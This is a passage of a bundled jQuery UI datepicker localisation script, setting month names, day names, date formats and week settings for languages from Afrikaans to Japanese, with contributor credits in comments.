isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['af']); }); /* Algerian Arabic Translation for jQuery UI date picker plugin. (can be used for Tunisia)*/ /* Mohamed Cherif BOUCHELAGHEM -- cherifbouchelaghem@yahoo.fr */ jQuery(function($){ $.datepicker.regional['ar-DZ'] = { closeText: 'إغلاق', prevText: '<السابق', nextText: 'التالي>', currentText: 'اليوم', monthNames: ['جانفي', 'فيفري', 'مارس', 'أفريل', 'ماي', 'جوان', 'جويلية', 'أوت', 'سبتمبر','أكتوبر', 'نوفمبر', 'ديسمبر'], monthNamesShort: ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12'], dayNames: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesShort: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesMin: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], weekHeader: 'أسبوع', dateFormat: 'dd/mm/yy', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ar-DZ']); }); /* Arabic Translation for jQuery UI date picker plugin. */ /* Khaled Alhourani -- me@khaledalhourani.com */ /* NOTE: monthNames are the original months names and they are the Arabic names, not the new months name فبراير - يناير and there isn't any Arabic roots for these months */ jQuery(function($){ $.datepicker.regional['ar'] = { closeText: 'إغلاق', prevText: '<السابق', nextText: 'التالي>', currentText: 'اليوم', monthNames: ['كانون الثاني', 'شباط', 'آذار', 'نيسان', 'مايو', 'حزيران', 'تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول'], monthNamesShort: ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12'], dayNames: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesShort: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesMin: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], weekHeader: 'أسبوع', dateFormat: 'dd/mm/yy', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ar']); });/* Azerbaijani (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Jamil Najafov (necefov33@gmail.com). */ jQuery(function($) { $.datepicker.regional['az'] = { closeText: 'Bağla', prevText: '<Geri', nextText: 'İrəli>', currentText: 'Bugün', monthNames: ['Yanvar','Fevral','Mart','Aprel','May','İyun', 'İyul','Avqust','Sentyabr','Oktyabr','Noyabr','Dekabr'], monthNamesShort: ['Yan','Fev','Mar','Apr','May','İyun', 'İyul','Avq','Sen','Okt','Noy','Dek'], dayNames: ['Bazar','Bazar ertəsi','Çərşənbə axşamı','Çərşənbə','Cümə axşamı','Cümə','Şənbə'], dayNamesShort: ['B','Be','Ça','Ç','Ca','C','Ş'], dayNamesMin: ['B','B','Ç','С','Ç','C','Ş'], weekHeader: 'Hf', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['az']); });/* Bulgarian initialisation for the jQuery UI date picker plugin. */ /* Written by Stoyan Kyosev (http://svest.org). */ jQuery(function($){ $.datepicker.regional['bg'] = { closeText: 'затвори', prevText: '<назад', nextText: 'напред>', nextBigText: '>>', currentText: 'днес', monthNames: ['Януари','Февруари','Март','Април','Май','Юни', 'Юли','Август','Септември','Октомври','Ноември','Декември'], monthNamesShort: ['Яну','Фев','Мар','Апр','Май','Юни', 'Юли','Авг','Сеп','Окт','Нов','Дек'], dayNames: ['Неделя','Понеделник','Вторник','Сряда','Четвъртък','Петък','Събота'], dayNamesShort: ['Нед','Пон','Вто','Сря','Чет','Пет','Съб'], dayNamesMin: ['Не','По','Вт','Ср','Че','Пе','Съ'], weekHeader: 'Wk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['bg']); }); /* Bosnian i18n for the jQuery UI date picker plugin. */ /* Written by Kenan Konjo. */ jQuery(function($){ $.datepicker.regional['bs'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Januar','Februar','Mart','April','Maj','Juni', 'Juli','August','Septembar','Oktobar','Novembar','Decembar'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljak','Utorak','Srijeda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sri','Čet','Pet','Sub'], dayNamesMin: ['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Wk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['bs']); });/* Inicialització en català per a l'extenció 'calendar' per jQuery. */ /* Writers: (joan.leon@gmail.com). */ jQuery(function($){ $.datepicker.regional['ca'] = { closeText: 'Tancar', prevText: '<Ant', nextText: 'Seg>', currentText: 'Avui', monthNames: ['Gener','Febrer','Març','Abril','Maig','Juny', 'Juliol','Agost','Setembre','Octubre','Novembre','Desembre'], monthNamesShort: ['Gen','Feb','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Oct','Nov','Des'], dayNames: ['Diumenge','Dilluns','Dimarts','Dimecres','Dijous','Divendres','Dissabte'], dayNamesShort: ['Dug','Dln','Dmt','Dmc','Djs','Dvn','Dsb'], dayNamesMin: ['Dg','Dl','Dt','Dc','Dj','Dv','Ds'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ca']); });/* Czech initialisation for the jQuery UI date picker plugin. */ /* Written by Tomas Muller (tomas@tomas-muller.net). */ jQuery(function($){ $.datepicker.regional['cs'] = { closeText: 'Zavřít', prevText: '<Dříve', nextText: 'Později>', currentText: 'Nyní', monthNames: ['leden','únor','březen','duben','květen','červen', 'červenec','srpen','září','říjen','listopad','prosinec'], monthNamesShort: ['led','úno','bře','dub','kvě','čer', 'čvc','srp','zář','říj','lis','pro'], dayNames: ['neděle', 'pondělí', 'úterý', 'středa', 'čtvrtek', 'pátek', 'sobota'], dayNamesShort: ['ne', 'po', 'út', 'st', 'čt', 'pá', 'so'], dayNamesMin: ['ne','po','út','st','čt','pá','so'], weekHeader: 'Týd', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['cs']); }); /* Danish initialisation for the jQuery UI date picker plugin. */ /* Written by Jan Christensen ( deletestuff@gmail.com). */ jQuery(function($){ $.datepicker.regional['da'] = { closeText: 'Luk', prevText: '<Forrige', nextText: 'Næste>', currentText: 'Idag', monthNames: ['Januar','Februar','Marts','April','Maj','Juni', 'Juli','August','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Søndag','Mandag','Tirsdag','Onsdag','Torsdag','Fredag','Lørdag'], dayNamesShort: ['Søn','Man','Tir','Ons','Tor','Fre','Lør'], dayNamesMin: ['Sø','Ma','Ti','On','To','Fr','Lø'], weekHeader: 'Uge', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['da']); }); /* German initialisation for the jQuery UI date picker plugin. */ /* Written by Milian Wolff (mail@milianw.de). */ jQuery(function($){ $.datepicker.regional['de'] = { closeText: 'schließen', prevText: '<zurück', nextText: 'Vor>', currentText: 'heute', monthNames: ['Januar','Februar','März','April','Mai','Juni', 'Juli','August','September','Oktober','November','Dezember'], monthNamesShort: ['Jan','Feb','Mär','Apr','Mai','Jun', 'Jul','Aug','Sep','Okt','Nov','Dez'], dayNames: ['Sonntag','Montag','Dienstag','Mittwoch','Donnerstag','Freitag','Samstag'], dayNamesShort: ['So','Mo','Di','Mi','Do','Fr','Sa'], dayNamesMin: ['So','Mo','Di','Mi','Do','Fr','Sa'], weekHeader: 'Wo', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['de']); }); /* Greek (el) initialisation for the jQuery UI date picker plugin. */ /* Written by Alex Cicovic (http://www.alexcicovic.com) */ jQuery(function($){ $.datepicker.regional['el'] = { closeText: 'Κλείσιμο', prevText: 'Προηγούμενος', nextText: 'Επόμενος', currentText: 'Τρέχων Μήνας', monthNames: ['Ιανουάριος','Φεβρουάριος','Μάρτιος','Απρίλιος','Μάιος','Ιούνιος', 'Ιούλιος','Αύγουστος','Σεπτέμβριος','Οκτώβριος','Νοέμβριος','Δεκέμβριος'], monthNamesShort: ['Ιαν','Φεβ','Μαρ','Απρ','Μαι','Ιουν', 'Ιουλ','Αυγ','Σεπ','Οκτ','Νοε','Δεκ'], dayNames: ['Κυριακή','Δευτέρα','Τρίτη','Τετάρτη','Πέμπτη','Παρασκευή','Σάββατο'], dayNamesShort: ['Κυρ','Δευ','Τρι','Τετ','Πεμ','Παρ','Σαβ'], dayNamesMin: ['Κυ','Δε','Τρ','Τε','Πε','Πα','Σα'], weekHeader: 'Εβδ', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['el']); });/* English/Australia initialisation for the jQuery UI date picker plugin. */ /* Based on the en-GB initialisation. */ jQuery(function($){ $.datepicker.regional['en-AU'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-AU']); }); /* English/UK initialisation for the jQuery UI date picker plugin. */ /* Written by Stuart. */ jQuery(function($){ $.datepicker.regional['en-GB'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-GB']); }); /* English/New Zealand initialisation for the jQuery UI date picker plugin. */ /* Based on the en-GB initialisation. */ jQuery(function($){ $.datepicker.regional['en-NZ'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-NZ']); }); /* Esperanto initialisation for the jQuery UI date picker plugin. */ /* Written by Olivier M. (olivierweb@ifrance.com). */ jQuery(function($){ $.datepicker.regional['eo'] = { closeText: 'Fermi', prevText: '<Anta', nextText: 'Sekv>', currentText: 'Nuna', monthNames: ['Januaro','Februaro','Marto','Aprilo','Majo','Junio', 'Julio','Aŭgusto','Septembro','Oktobro','Novembro','Decembro'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aŭg','Sep','Okt','Nov','Dec'], dayNames: ['Dimanĉo','Lundo','Mardo','Merkredo','Ĵaŭdo','Vendredo','Sabato'], dayNamesShort: ['Dim','Lun','Mar','Mer','Ĵaŭ','Ven','Sab'], dayNamesMin: ['Di','Lu','Ma','Me','Ĵa','Ve','Sa'], weekHeader: 'Sb', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['eo']); }); /* Inicialización en español para la extensión 'UI date picker' para jQuery. */ /* Traducido por Vester (xvester@gmail.com). */ jQuery(function($){ $.datepicker.regional['es'] = { closeText: 'Cerrar', prevText: '<Ant', nextText: 'Sig>', currentText: 'Hoy', monthNames: ['Enero','Febrero','Marzo','Abril','Mayo','Junio', 'Julio','Agosto','Septiembre','Octubre','Noviembre','Diciembre'], monthNamesShort: ['Ene','Feb','Mar','Abr','May','Jun', 'Jul','Ago','Sep','Oct','Nov','Dic'], dayNames: ['Domingo','Lunes','Martes','Miércoles','Jueves','Viernes','Sábado'], dayNamesShort: ['Dom','Lun','Mar','Mié','Juv','Vie','Sáb'], dayNamesMin: ['Do','Lu','Ma','Mi','Ju','Vi','Sá'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['es']); });/* Estonian initialisation for the jQuery UI date picker plugin. */ /* Written by Mart Sõmermaa (mrts.pydev at gmail com). */ jQuery(function($){ $.datepicker.regional['et'] = { closeText: 'Sulge', prevText: 'Eelnev', nextText: 'Järgnev', currentText: 'Täna', monthNames: ['Jaanuar','Veebruar','Märts','Aprill','Mai','Juuni', 'Juuli','August','September','Oktoober','November','Detsember'], monthNamesShort: ['Jaan', 'Veebr', 'Märts', 'Apr', 'Mai', 'Juuni', 'Juuli', 'Aug', 'Sept', 'Okt', 'Nov', 'Dets'], dayNames: ['Pühapäev', 'Esmaspäev', 'Teisipäev', 'Kolmapäev', 'Neljapäev', 'Reede', 'Laupäev'], dayNamesShort: ['Pühap', 'Esmasp', 'Teisip', 'Kolmap', 'Neljap', 'Reede', 'Laup'], dayNamesMin: ['P','E','T','K','N','R','L'], weekHeader: 'Sm', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['et']); }); /* Euskarako oinarria 'UI date picker' jquery-ko extentsioarentzat */ /* Karrikas-ek itzulia (karrikas@karrikas.com) */ jQuery(function($){ $.datepicker.regional['eu'] = { closeText: 'Egina', prevText: '<Aur', nextText: 'Hur>', currentText: 'Gaur', monthNames: ['Urtarrila','Otsaila','Martxoa','Apirila','Maiatza','Ekaina', 'Uztaila','Abuztua','Iraila','Urria','Azaroa','Abendua'], monthNamesShort: ['Urt','Ots','Mar','Api','Mai','Eka', 'Uzt','Abu','Ira','Urr','Aza','Abe'], dayNames: ['Igandea','Astelehena','Asteartea','Asteazkena','Osteguna','Ostirala','Larunbata'], dayNamesShort: ['Iga','Ast','Ast','Ast','Ost','Ost','Lar'], dayNamesMin: ['Ig','As','As','As','Os','Os','La'], weekHeader: 'Wk', dateFormat: 'yy/mm/dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['eu']); });/* Persian (Farsi) Translation for the jQuery UI date picker plugin. */ /* Javad Mowlanezhad -- jmowla@gmail.com */ /* Jalali calendar should supported soon! (Its implemented but I have to test it) */ jQuery(function($) { $.datepicker.regional['fa'] = { closeText: 'بستن', prevText: '<قبلي', nextText: 'بعدي>', currentText: 'امروز', monthNames: ['فروردين','ارديبهشت','خرداد','تير','مرداد','شهريور', 'مهر','آبان','آذر','دي','بهمن','اسفند'], monthNamesShort: ['1','2','3','4','5','6','7','8','9','10','11','12'], dayNames: ['يکشنبه','دوشنبه','سه‌شنبه','چهارشنبه','پنجشنبه','جمعه','شنبه'], dayNamesShort: ['ي','د','س','چ','پ','ج', 'ش'], dayNamesMin: ['ي','د','س','چ','پ','ج', 'ش'], weekHeader: 'هف', dateFormat: 'yy/mm/dd', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fa']); });/* Finnish initialisation for the jQuery UI date picker plugin. */ /* Written by Harri Kilpi� (harrikilpio@gmail.com). */ jQuery(function($){ $.datepicker.regional['fi'] = { closeText: 'Sulje', prevText: '«Edellinen', nextText: 'Seuraava»', currentText: 'Tänään', monthNames: ['Tammikuu','Helmikuu','Maaliskuu','Huhtikuu','Toukokuu','Kesäkuu', 'Heinäkuu','Elokuu','Syyskuu','Lokakuu','Marraskuu','Joulukuu'], monthNamesShort: ['Tammi','Helmi','Maalis','Huhti','Touko','Kesä', 'Heinä','Elo','Syys','Loka','Marras','Joulu'], dayNamesShort: ['Su','Ma','Ti','Ke','To','Pe','Su'], dayNames: ['Sunnuntai','Maanantai','Tiistai','Keskiviikko','Torstai','Perjantai','Lauantai'], dayNamesMin: ['Su','Ma','Ti','Ke','To','Pe','La'], weekHeader: 'Vk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fi']); }); /* Faroese initialisation for the jQuery UI date picker plugin */ /* Written by Sverri Mohr Olsen, sverrimo@gmail.com */ jQuery(function($){ $.datepicker.regional['fo'] = { closeText: 'Lat aftur', prevText: '<Fyrra', nextText: 'Næsta>', currentText: 'Í dag', monthNames: ['Januar','Februar','Mars','Apríl','Mei','Juni', 'Juli','August','September','Oktober','November','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mei','Jun', 'Jul','Aug','Sep','Okt','Nov','Des'], dayNames: ['Sunnudagur','Mánadagur','Týsdagur','Mikudagur','Hósdagur','Fríggjadagur','Leyardagur'], dayNamesShort: ['Sun','Mán','Týs','Mik','Hós','Frí','Ley'], dayNamesMin: ['Su','Má','Tý','Mi','Hó','Fr','Le'], weekHeader: 'Vk', dateFormat: 'dd-mm-yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fo']); }); /* Swiss-French initialisation for the jQuery UI date picker plugin. */ /* Written Martin Voelkle (martin.voelkle@e-tc.ch). */ jQuery(function($){ $.datepicker.regional['fr-CH'] = { closeText: 'Fermer', prevText: '<Préc', nextText: 'Suiv>', currentText: 'Courant', monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin', 'Juillet','Août','Septembre','Octobre','Novembre','Décembre'], monthNamesShort: ['Jan','Fév','Mar','Avr','Mai','Jun', 'Jul','Aoû','Sep','Oct','Nov','Déc'], dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'], dayNamesShort: ['Dim','Lun','Mar','Mer','Jeu','Ven','Sam'], dayNamesMin: ['Di','Lu','Ma','Me','Je','Ve','Sa'], weekHeader: 'Sm', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fr-CH']); });/* French initialisation for the jQuery UI date picker plugin. */ /* Written by Keith Wood (kbwood{at}iinet.com.au), Stéphane Nahmani (sholby@sholby.net), Stéphane Raimbault */ jQuery(function($){ $.datepicker.regional['fr'] = { closeText: 'Fermer', prevText: 'Précédent', nextText: 'Suivant', currentText: 'Aujourd\'hui', monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin', 'Juillet','Août','Septembre','Octobre','Novembre','Décembre'], monthNamesShort: ['Janv.','Févr.','Mars','Avril','Mai','Juin', 'Juil.','Août','Sept.','Oct.','Nov.','Déc.'], dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'], dayNamesShort: ['Dim.','Lun.','Mar.','Mer.','Jeu.','Ven.','Sam.'], dayNamesMin: ['D','L','M','M','J','V','S'], weekHeader: 'Sem.', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fr']); }); /* Galician localization for 'UI date picker' jQuery extension. */ /* Translated by Jorge Barreiro . */ jQuery(function($){ $.datepicker.regional['gl'] = { closeText: 'Pechar', prevText: '<Ant', nextText: 'Seg>', currentText: 'Hoxe', monthNames: ['Xaneiro','Febreiro','Marzo','Abril','Maio','Xuño', 'Xullo','Agosto','Setembro','Outubro','Novembro','Decembro'], monthNamesShort: ['Xan','Feb','Mar','Abr','Mai','Xuñ', 'Xul','Ago','Set','Out','Nov','Dec'], dayNames: ['Domingo','Luns','Martes','Mércores','Xoves','Venres','Sábado'], dayNamesShort: ['Dom','Lun','Mar','Mér','Xov','Ven','Sáb'], dayNamesMin: ['Do','Lu','Ma','Mé','Xo','Ve','Sá'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['gl']); });/* Hebrew initialisation for the UI Datepicker extension. */ /* Written by Amir Hardon (ahardon at gmail dot com). */ jQuery(function($){ $.datepicker.regional['he'] = { closeText: 'סגור', prevText: '<הקודם', nextText: 'הבא>', currentText: 'היום', monthNames: ['ינואר','פברואר','מרץ','אפריל','מאי','יוני', 'יולי','אוגוסט','ספטמבר','אוקטובר','נובמבר','דצמבר'], monthNamesShort: ['1','2','3','4','5','6', '7','8','9','10','11','12'], dayNames: ['ראשון','שני','שלישי','רביעי','חמישי','שישי','שבת'], dayNamesShort: ['א\'','ב\'','ג\'','ד\'','ה\'','ו\'','שבת'], dayNamesMin: ['א\'','ב\'','ג\'','ד\'','ה\'','ו\'','שבת'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['he']); }); /* Croatian i18n for the jQuery UI date picker plugin. */ /* Written by Vjekoslav Nesek. */ jQuery(function($){ $.datepicker.regional['hr'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Siječanj','Veljača','Ožujak','Travanj','Svibanj','Lipanj', 'Srpanj','Kolovoz','Rujan','Listopad','Studeni','Prosinac'], monthNamesShort: ['Sij','Velj','Ožu','Tra','Svi','Lip', 'Srp','Kol','Ruj','Lis','Stu','Pro'], dayNames: ['Nedjelja','Ponedjeljak','Utorak','Srijeda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sri','Čet','Pet','Sub'], dayNamesMin: ['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Tje', dateFormat: 'dd.mm.yy.', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hr']); });/* Hungarian initialisation for the jQuery UI date picker plugin. */ /* Written by Istvan Karaszi (jquery@spam.raszi.hu). */ jQuery(function($){ $.datepicker.regional['hu'] = { closeText: 'bezárás', prevText: '« vissza', nextText: 'előre »', currentText: 'ma', monthNames: ['Január', 'Február', 'Március', 'Április', 'Május', 'Június', 'Július', 'Augusztus', 'Szeptember', 'Október', 'November', 'December'], monthNamesShort: ['Jan', 'Feb', 'Már', 'Ápr', 'Máj', 'Jún', 'Júl', 'Aug', 'Szep', 'Okt', 'Nov', 'Dec'], dayNames: ['Vasárnap', 'Hétfö', 'Kedd', 'Szerda', 'Csütörtök', 'Péntek', 'Szombat'], dayNamesShort: ['Vas', 'Hét', 'Ked', 'Sze', 'Csü', 'Pén', 'Szo'], dayNamesMin: ['V', 'H', 'K', 'Sze', 'Cs', 'P', 'Szo'], weekHeader: 'Hé', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hu']); }); /* Armenian(UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Levon Zakaryan (levon.zakaryan@gmail.com)*/ jQuery(function($){ $.datepicker.regional['hy'] = { closeText: 'Փակել', prevText: '<Նախ.', nextText: 'Հաջ.>', currentText: 'Այսօր', monthNames: ['Հունվար','Փետրվար','Մարտ','Ապրիլ','Մայիս','Հունիս', 'Հուլիս','Օգոստոս','Սեպտեմբեր','Հոկտեմբեր','Նոյեմբեր','Դեկտեմբեր'], monthNamesShort: ['Հունվ','Փետր','Մարտ','Ապր','Մայիս','Հունիս', 'Հուլ','Օգս','Սեպ','Հոկ','Նոյ','Դեկ'], dayNames: ['կիրակի','եկուշաբթի','երեքշաբթի','չորեքշաբթի','հինգշաբթի','ուրբաթ','շաբաթ'], dayNamesShort: ['կիր','երկ','երք','չրք','հնգ','ուրբ','շբթ'], dayNamesMin: ['կիր','երկ','երք','չրք','հնգ','ուրբ','շբթ'], weekHeader: 'ՇԲՏ', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hy']); });/* Indonesian initialisation for the jQuery UI date picker plugin. */ /* Written by Deden Fathurahman (dedenf@gmail.com). */ jQuery(function($){ $.datepicker.regional['id'] = { closeText: 'Tutup', prevText: '<mundur', nextText: 'maju>', currentText: 'hari ini', monthNames: ['Januari','Februari','Maret','April','Mei','Juni', 'Juli','Agustus','September','Oktober','Nopember','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mei','Jun', 'Jul','Agus','Sep','Okt','Nop','Des'], dayNames: ['Minggu','Senin','Selasa','Rabu','Kamis','Jumat','Sabtu'], dayNamesShort: ['Min','Sen','Sel','Rab','kam','Jum','Sab'], dayNamesMin: ['Mg','Sn','Sl','Rb','Km','jm','Sb'], weekHeader: 'Mg', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['id']); });/* Icelandic initialisation for the jQuery UI date picker plugin. */ /* Written by Haukur H. Thorsson (haukur@eskill.is). */ jQuery(function($){ $.datepicker.regional['is'] = { closeText: 'Loka', prevText: '< Fyrri', nextText: 'Næsti >', currentText: 'Í dag', monthNames: ['Janúar','Febrúar','Mars','Apríl','Maí','Júní', 'Júlí','Ágúst','September','Október','Nóvember','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maí','Jún', 'Júl','Ágú','Sep','Okt','Nóv','Des'], dayNames: ['Sunnudagur','Mánudagur','Þriðjudagur','Miðvikudagur','Fimmtudagur','Föstudagur','Laugardagur'], dayNamesShort: ['Sun','Mán','Þri','Mið','Fim','Fös','Lau'], dayNamesMin: ['Su','Má','Þr','Mi','Fi','Fö','La'], weekHeader: 'Vika', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['is']); });/* Italian initialisation for the jQuery UI date picker plugin. */ /* Written by Antonello Pasella (antonello.pasella@gmail.com). */ jQuery(function($){ $.datepicker.regional['it'] = { closeText: 'Chiudi', prevText: '<Prec', nextText: 'Succ>', currentText: 'Oggi', monthNames: ['Gennaio','Febbraio','Marzo','Aprile','Maggio','Giugno', 'Luglio','Agosto','Settembre','Ottobre','Novembre','Dicembre'], monthNamesShort: ['Gen','Feb','Mar','Apr','Mag','Giu', 'Lug','Ago','Set','Ott','Nov','Dic'], dayNames: ['Domenica','Lunedì','Martedì','Mercoledì','Giovedì','Venerdì','Sabato'], dayNamesShort: ['Dom','Lun','Mar','Mer','Gio','Ven','Sab'], dayNamesMin: ['Do','Lu','Ma','Me','Gi','Ve','Sa'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['it']); }); /* Japanese initialisation for the jQuery UI date picker plugin. */ /* Written by Kentaro SATO (kentaro@ranvis.com). */ jQuery(function($){ $.datepicker.regional['ja'] = { closeText: '閉じる', prevText: '<前', nextText: '次>', currentText: '今日', monthNames: ['1月','2月','3月','4月','5月','6月', '7月','8月','9月','10月','11月','12月'], monthNamesShort: ['1月','2月','3月','4月','5月','6月', '7月','8月','9月','10月','11月','12月'], dayNames: ['日曜日','月曜日','火曜日','水曜日','木曜日','金曜日','土曜日'], dayNamesShort: ['日','月','火','水','木','金','土'], dayNamesMin: ['日','月','火','水','木','金','土'], weekHeader: '週', dateFormat: 'yy/mm/dd', firstDay: 0, isRTL: false, showMonthAfterYear: true, 